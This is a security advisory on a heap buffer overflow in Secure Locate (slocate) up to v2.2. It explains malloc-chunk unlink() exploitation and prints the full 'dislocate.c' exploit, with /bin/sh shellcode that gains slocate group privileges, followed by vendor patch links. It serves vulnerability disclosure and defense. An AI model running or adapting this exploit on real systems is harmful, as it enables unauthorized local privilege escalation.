COMMAND

    Secure Locate

SYSTEMS AFFECTED

    Secure Locate

PROBLEM

    Following is based on a paper  by Michel "MaXX" Kaempf.  From  the
    Secure Locate manual page:

        slocate - Security Enhanced version of the GNU Locate

        Secure  Locate  provides  a  secure  way  to index and quickly
        search for files on your system. It uses incremental  encoding
        just  like  GNU  locate  to  compress  its  database  to  make
        searching faster, but it will also store file permissions  and
        ownership so that  users will not  see files they  do not have
        access to.

    From the Security Focus web site:

        Secure Locate  maintains an  index of  the entire  filesystem,
        including files only  visible by root.  The slocate binary  is
        setgid "slocate"  so it  can read  this index.  If slocate  is
        properly exploited, the location  of sensitive files could  be
        revealed to an unprivileged local user.

    A  few  days  ago,  zorgon  discovered  a problem in Secure Locate
    v2.1.  When decoding an invalid database specified by a local user
    (thanks  to  the  -d  command  line  option),  slocate dies with a
    segmentation violation:

        $ cp /usr/bin/slocate /tmp/slocate
        $ perl -e 'print "A" x 1337' > /tmp/foo
        $ gdb -q /tmp/slocate
        (gdb) run -d /tmp/foo bar
        Starting program: /tmp/slocate -d /tmp/foo bar

        Program received signal SIGSEGV, Segmentation fault.
        0x17afd2 in realloc () from /lib/libc.so.6
        (gdb)

    Secure Locate fails decoding a database containing a large  number
    of  'A'  characters...  The  problem  looks  like a classic buffer
    overflow,  but  there  is  something  strange:  slocate also fails
    decoding  an  invalid  database  containing   only  6  or  5   'A'
    characters:

        $ cp /usr/bin/slocate /tmp/slocate
        $ perl -e 'print "A" x 6' > /tmp/foo
        $ gdb -q /tmp/slocate
        (gdb) run -d /tmp/foo bar
        Starting program: /tmp/slocate -d /tmp/foo bar

        Program received signal SIGSEGV, Segmentation fault.
        0x17a876 in malloc () from /lib/libc.so.6
        (gdb)

        $ cp /usr/bin/slocate /tmp/slocate
        $ perl -e 'print "A" x 5' > /tmp/foo
        $ gdb -q /tmp/slocate
        (gdb) run -d /tmp/foo bar
        Starting program: /tmp/slocate -d /tmp/foo bar

        Program received signal SIGSEGV, Segmentation fault.
        0x17ab0d in free () from /lib/libc.so.6
        (gdb)

    If Secure  Locate dies  while running  one of  the three functions
    realloc(),  malloc()  or  free(),  which  are  part  of Doug Lea's
    malloc used by most Linux systems, it is certainly not because  of
    bugs  in  these  widely   used  functions,  but  because   slocate
    overwrites the  internal structures  used by  these functions (the
    malloc chunks, stored  before and after  the buffers allocated  by
    malloc) while decoding the invalid databases.

    The guilty function in slocate, decode_db(), is part of the main.c
    module,  and  is  reproduced  below,  but  simplified for a better
    understanding of the problem and its future exploitation:

        #define MIN_BLK 64

        char slevel = '1';

        int decode_db( char * database, char * str )
        {
	        FILE * fd;
	        char * codedpath = NULL;
	        char * ptr;
	        short code_num;
	        int jump = 0;
	        int grow = 0;
	        int pathlen = 0;
	        register char ch;
	        int first = 1;

	        fd = fopen( database, "r" );

        (1)	slevel = getc( fd );

        (2)	codedpath = malloc( MIN_BLK );
	        ptr = codedpath;

        (3)	while ( (code_num = getc(fd)) != EOF ) {

        (4)		if ( code_num > 127 )
        (5)			code_num = code_num - 256;

		        jump = 0;

		        if ( code_num < 0 )
			        grow += code_num;

		        ptr += code_num;

        (6)		pathlen = ptr - codedpath;

		        while( !jump ) {
        (7)			ch = getc( fd );
			        grow++;
			        pathlen++;
			        if ( grow == 64 ) {
        (8)				realloc( codedpath, pathlen + MIN_BLK );
			        }
        (9)			codedpath[ pathlen - 1 ] = ch;

        (10)			if ( ch == '\0' )
				        jump = 1;
		        }
	        }
        }

    When decoding a database, decode_db() reads the first character of
    the file(1), but the value  of this character does not  affect the
    segmentation  violation.  decode_db()  then  allocates  a 64 bytes
    buffer(2), and reads  the second character  of the database  file,
    code_num(3).

    When  considering  the  first  run  of  the  loop(3),  pathlen  is
    initialized to (codedpath + code_num - codedpath) ==  code_num(6),
    and  this  value  represents  the  offset  in the codedpath buffer
    where the characters read from the database file(7) are stored(9).

    Now remember: the second character of the foo file was 'A', or  65
    when encoded  in decimal.   This is  the offset  in the  codedpath
    buffer where the  characters read from  the foo file  were stored,
    but, problem, the codedpath buffer was only 64 bytes.

    Now  guess  what  is  stored  after  the 64 bytes of the codedpath
    buffer, and  is partially  overwritten by  decode_db()?   A malloc
    chunk  structure,  of  course,  and  that's  why  the next call to
    realloc(), malloc() or free() dies with a segmentation violation.

    The plan is simple:
    - the   exploit  builds   an  invalid   database  (without    '\0'
      characters(10))  in  order  to  carefully overwrite the internal
      structures used by realloc() ;
    - the first call  to realloc()(8) should overwrite  an interesting
      function pointer  stored somewhere  in the  memory, the  dynamic
      relocation record of the realloc() function for example, with  a
      pointer to a  shellcode built by  the exploit and  stored in the
      heap (not on the stack, in order to defeat non-executable  stack
      patches) ;
    - the second  call to realloc()(8)  should execute the  shellcode,
      and not the libc realloc() function.

    Thanks to the unlink() macro used by realloc(), it is possible  to
    overwrite a function pointer with a pointer to the shellcode:

        #define unlink(P, BK, FD)                                              \
        {                                                                      \
          BK = P->bk;                                                          \
          FD = P->fd;                                                          \
          FD->bk = BK;                                                         \
          BK->fd = FD;                                                         \
        }                                                                      \

    When examining the  libc realloc() function,  the best path  to an
    unlink() call is the following (simplified) path:

        struct malloc_chunk
        {
            /* Size of previous chunk (if free). */
            unsigned int prev_size;

            /* Size in bytes, including overhead. */
            unsigned int size;

            /* double links -- used only if free. */
            struct malloc_chunk * fd;
            struct malloc_chunk * bk;
        };

        typedef struct malloc_chunk * mchunkptr;

        void * realloc( void * oldmem, unsigned int bytes )
        {
            unsigned int nb;                           /* padded request size */
            mchunkptr oldp;                  /* chunk corresponding to oldmem */
            unsigned int oldsize;                                 /* its size */
            mchunkptr next;               /* next contiguous chunk after oldp */
            unsigned int nextsize;                                /* its size */
            unsigned int newsize = oldsize;
            mchunkptr bck;                           /* misc temp for linking */
            mchunkptr fwd;                           /* misc temp for linking */

            /* oldp = oldmem - 8 */
            oldp = mem2chunk( oldmem );

            /* oldsize = oldp->size & ~3 */
            oldsize = chunksize( oldp );

            /* nb = (bytes + 11) & ~7 */
            if ( request2size(bytes, nb) )
                ...

            /* if ( oldp->size & 2 ) */
        (a) if ( chunk_is_mmapped(oldp) )
            {
                ...
            }

        (b) if ( (long)(oldsize) < (long)(nb) )
            {
                /* next = oldp + oldsize */
                next = chunk_at_offset( oldp, oldsize );

                /* if ( !((next + (next->size & ~1))->size & 1) ) */
        (c)     if ( next == top(ar_ptr) || !inuse(next) )
                {
                    /* nextsize = next->size & ~3; */
                    nextsize = chunksize( next );

                    if ( next == top(ar_ptr) )
                    {
                        ...
                    }
        (d)         else if ( (long)(nextsize + newsize) >= (long)(nb) )
                    {
                        unlink( next, bck, fwd );

    If the exploit carefully overwrites the chunks used by  realloc(),
    in order  to satisfy  the (a),  (b), (c)  and (d)  conditions, the
    unlink() macro is reached and the magic happens.

    The  exploit  should  build  and  store  a  fake next malloc_chunk
    somewhere in the  memory, and overwrite  the oldp malloc_chunk  in
    order to force realloc()  to use the fake  next chunk and not  the
    regular  one.  But  in  order  to  overwrite  the  oldp chunk, the
    exploit  should  be  able   to  underflow  the  codedpath   buffer
    allocated by decode_db()(2) (the oldp chunk is stored just  before
    the codedpath buffer).

    And it  *is* possible  to underflow  the codedpath  buffer: if the
    second  character  of  the  database  file is greater than 127(4),
    code_num (and therefore the  offset in the codedpath  buffer where
    the characters  read from  the database  file are  stored) becomes
    negative(5).  If the exploit sets this second character to (256  -
    4), the whole size member of the oldp chunk can be overwritten  in
    order to point to the fake next chunk.

    The exploit stores the fake next  chunk on the stack, in order  to
    satisfy the  four conditions  required to  reach unlink()  and the
    fact that no '\0' character can be present in the database file:
    - the fake next chunk can be padded in order to begin at a 4 bytes
      aligned memory location (and therefore satisfies (a)) ;
    - the long integer corresponding to the distance between the  heap
      and the  stack, oldsize,  is negative  (and therefore  satisfies
      (b)) and does not contain '\0' characters ;
    - if nextsize is equal to (nb - newsize) (and therefore  satisfies
      (d)), it will point back to  the heap and will not contain  '\0'
      characters ;
    - at  the heap  location pointed  to by  nextsize, 0x00  bytes are
      stored (and therefore satisfy (c)).

    Eventually, the  exploit has  to carefully  compute the  fd and bk
    members  of  the  fake  next  chunk  in  order  to  overwrite  the
    realloc() dynamic  relocation record,  thanks to  unlink(), with a
    pointer to  the shellcode  stored in  the codedpath  buffer.  This
    shellcode should begin  with a jump  instruction in order  to skip
    the garbage bytes introduced by  unlink() at the beginning of  the
    shellcode.

    This  exploit  will  work  against  every  Secure  Locate  version
    between 1.4  and 2.1,  but not  against Secure  Locate v2.2.  Why?
    Because of the new validate_db() function, which detects that  the
    database file built by the exploit is invalid.

    But the exploit can build a database file that looks like a  valid
    database,  by  adding  the  '0',  '\0'  and '\0' characters at the
    beginning of  the file.   The first  two characters  validate  the
    database,  and  the  third  character  resets the codedpath buffer
    filling(10).   The other  parts of  the exploit  remain the  same,
    except the fact that the shellcode size limit is reduced by one.

    /*
     * MasterSecuritY <www.mastersecurity.fr>
     *
     * dislocate.c - Local i386 exploit in v1.3 < Secure Locate < v2.3
     * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
     *
     * Updated versions of this exploit and the corresponding advisory will
     * be made available at:
     *
     * ftp://maxx.via.ecp.fr/dislocate/
     *
     * This program is free software; you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation; either version 2 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    #define PATH "/tmp/path"

    char * shellcode =
	    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    void usage( char * string )
    {
	    fprintf( stderr, "* Usage: %s filename realloc malloc\n", string );
	    fprintf( stderr, "\n" );

	    fprintf( stderr, "* Example: %s /usr/bin/slocate 0x0804e7b0 0x08050878\n", string );
	    fprintf( stderr, "\n" );

	    fprintf( stderr, "* Realloc:\n" );
	    fprintf( stderr, "  $ objdump -R /usr/bin/slocate | grep realloc\n" );
	    fprintf( stderr, "\n" );

	    fprintf( stderr, "* Malloc:\n" );
	    fprintf( stderr, "  $ %s foobar 0x12121212 0x42424242\n", string );
	    fprintf( stderr, "  $ cp /usr/bin/slocate /tmp\n" );
	    fprintf( stderr, "  $ ltrace /tmp/slocate -d %s foobar 2>&1 | grep 'malloc(64)'\n", PATH );
	    fprintf( stderr, "  $ rm %s\n", PATH );
	    fprintf( stderr, "\n" );
    }

    int zero( unsigned int ui )
    {
	    if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) {
		    return( -1 );
	    }
	    return( 0 );
    }

    int main( int argc, char * argv[] )
    {
	    unsigned int ui_realloc;
	    unsigned int ui_malloc;
	    char path[1337];
	    char next[1337];
	    char * execve_argv[] = { NULL, "-d", PATH, next, NULL };
	    int fd;
	    unsigned int p_next;
	    unsigned int ui;

	    if ( argc != 4 ) {
		    usage( argv[0] );
		    return( -1 );
	    }
	    execve_argv[0] = argv[1];
	    ui_realloc = (unsigned int)strtoul( argv[2], NULL, 0 );
	    ui_malloc = (unsigned int)strtoul( argv[3], NULL, 0 );

	    strcpy( next, "ppppssssffffbbbb" );
	    p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);
	    for ( ui = 0; ui < p_next - (p_next & ~3); ui++ ) {
		    strcat( next, "X" );
	    }
	    p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);

	    ui = 0;
	    *((unsigned int *)(&(next[ui]))) = (unsigned int)(-1);

	    ui += 4;
	    *((unsigned int *)(&(next[ui]))) = ((ui_malloc - 8) + 136) - p_next;
	    if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
		    fprintf( stderr, "debug: next->size == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );
		    return( -1 );
	    }

	    ui += 4;
	    *((unsigned int *)(&(next[ui]))) = ui_realloc - 12;
	    if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
		    fprintf( stderr, "debug: next->fd == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );
		    return( -1 );
	    }

	    ui += 4;
	    *((unsigned int *)(&(next[ui]))) = ui_malloc;
	    if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {
		    fprintf( stderr, "debug: next->bk == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );
		    return( -1 );
	    }

	    ui = 0;
	    path[ui] = (char)(256 - 4);

	    ui += 1;
	    *((unsigned int *)(&(path[ui]))) = p_next - (ui_malloc - 8);
	    if ( zero( *((unsigned int *)(&(path[ui]))) ) ) {
		    fprintf( stderr, "debug: oldp->size == 0x%08x;\n", *((unsigned int *)(&(path[ui]))) );
		    return( -1 );
	    }

	    ui += 4;
	    path[ui] = 0;
	    strcat( path, "\xeb\x0axxyyyyzzzz" );
	    strcat( path, shellcode );

	    fd = open( PATH, O_WRONLY|O_CREAT|O_EXCL, S_IRWXU );
	    if ( fd == -1 ) {
		    fprintf( stderr, "debug: open( \"%s\", O_WRONLY|O_CREAT|O_EXCL, S_IRWXU ) == -1;\n", PATH );
		    return( -1 );
	    }
	    write( fd, "0", sizeof("0") );
	    write( fd, "", sizeof("") );
	    write( fd, path, strlen(path) );
	    close( fd );

	    execve( execve_argv[0], execve_argv, NULL );
	    return( -1 );
    }

SOLUTION

    Upgrade to Secure Locate v2.3, available at:

        ftp://ftp.mkintraweb.com/pub/linux/slocate/

    The  author,  Kevin  Lindsay,  was  contacted and confirmed Secure
    Locate  v2.3  is  not  affected  by the vulnerability described in
    this advisory.  Every  Secure Locate version, from  1.4 (included)
    to 2.2 (included), is affected  by the problem, and vulnerable  to
    the exploit described above.

    Olaf Kirch  added following.   2.3 is  still vulnerable  to  other
    problems, however:

        $ slocate -U /dev -o $PWD/database
        $ ls -l database
        -rw-r-----   1 okir     slocate      3137 Nov 28 10:55 database

    There's not much  you can do  with group slocate  privilege except
    getting  read  access  to  the  entire database, and discover that
    your co-worker is hiding S&M GIFs somewhere in his home  directory
    (gasp!).  That  is, at least  if your slocate  binary and database
    directory are not writable by group slocate.  If they are,  you're
    in trouble.

    Still, being called "secure" locate it should probably be a little
    less liberal with its privileges.

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/slocate_2.4-2potato1.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/slocate_2.4-2potato1.dsc
        http://security.debian.org/dists/stable/updates/main/source/slocate_2.4.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-alpha/slocate_2.4-2potato1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/slocate_2.4-2potato1_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/slocate_2.4-2potato1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/slocate_2.4-2potato1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/slocate_2.4-2potato1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/slocate_2.4-2potato1_sparc.deb

    For Linux-Mandrake:

        Linux-Mandrake 6.0: 6.0/RPMS/slocate-2.4-1.2mdk.i586.rpm
                            6.0/SRPMS/slocate-2.4-1.2mdk.src.rpm
        Linux-Mandrake 6.1: 6.1/RPMS/slocate-2.4-1.2mdk.i586.rpm
                            6.1/SRPMS/slocate-2.4-1.2mdk.src.rpm
        Linux-Mandrake 7.0: 7.0/RPMS/slocate-2.4-1.2mdk.i586.rpm
                            7.0/SRPMS/slocate-2.4-1.2mdk.src.rpm
        Linux-Mandrake 7.1: 7.1/RPMS/slocate-2.4-1.2mdk.i586.rpm
                            7.1/SRPMS/slocate-2.4-1.2mdk.src.rpm
        Linux-Mandrake 7.2: 7.2/RPMS/slocate-2.4-1.1mdk.i586.rpm
                            7.2/SRPMS/slocate-2.4-1.1mdk.src.rpm

    For RedHat:

        ftp://updates.redhat.com//6.0/SRPMS/slocate-2.4-0.6.x.src.rpm
        ftp://updates.redhat.com//6.0/alpha/slocate-2.4-0.6.x.alpha.rpm
        ftp://updates.redhat.com//6.0/i386/slocate-2.4-0.6.x.i386.rpm
        ftp://updates.redhat.com//6.0/sparc/slocate-2.4-0.6.x.sparc.rpm
        ftp://updates.redhat.com//6.1/SRPMS/slocate-2.4-0.6.x.src.rpm
        ftp://updates.redhat.com//6.1/alpha/slocate-2.4-0.6.x.alpha.rpm
        ftp://updates.redhat.com//6.1/i386/slocate-2.4-0.6.x.i386.rpm
        ftp://updates.redhat.com//6.1/sparc/slocate-2.4-0.6.x.sparc.rpm
        ftp://updates.redhat.com//6.2/SRPMS/slocate-2.4-0.6.x.src.rpm
        ftp://updates.redhat.com//6.2/SRPMS/slocate-2.4-1.src.rpm
        ftp://updates.redhat.com//6.2/alpha/slocate-2.4-0.6.x.alpha.rpm
        ftp://updates.redhat.com//6.2/i386/slocate-2.4-0.6.x.i386.rpm
        ftp://updates.redhat.com//6.2/sparc/slocate-2.4-0.6.x.sparc.rpm
        ftp://updates.redhat.com//7.0/SRPMS/slocate-2.4-1.src.rpm
        ftp://updates.redhat.com//7.0/alpha/slocate-2.4-1.alpha.rpm
        ftp://updates.redhat.com//7.0/i386/slocate-2.4-1.i386.rpm

    For Conectiva Linux:

        ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/slocate-2.5-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/slocate-2.5-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/slocate-2.5-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/slocate-2.5-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/slocate-2.5-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/slocate-2.5-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/6.0/RPMS/slocate-2.5-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/slocate-2.5-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/slocate-2.5-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/slocate-2.5-2cl.i386.rpm

    For TurboLinux:

        ftp://ftp.turbolinux.com/pub/updates/6.0/security/slocate-2.3-2.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/slocate-2.3-2.src.rpm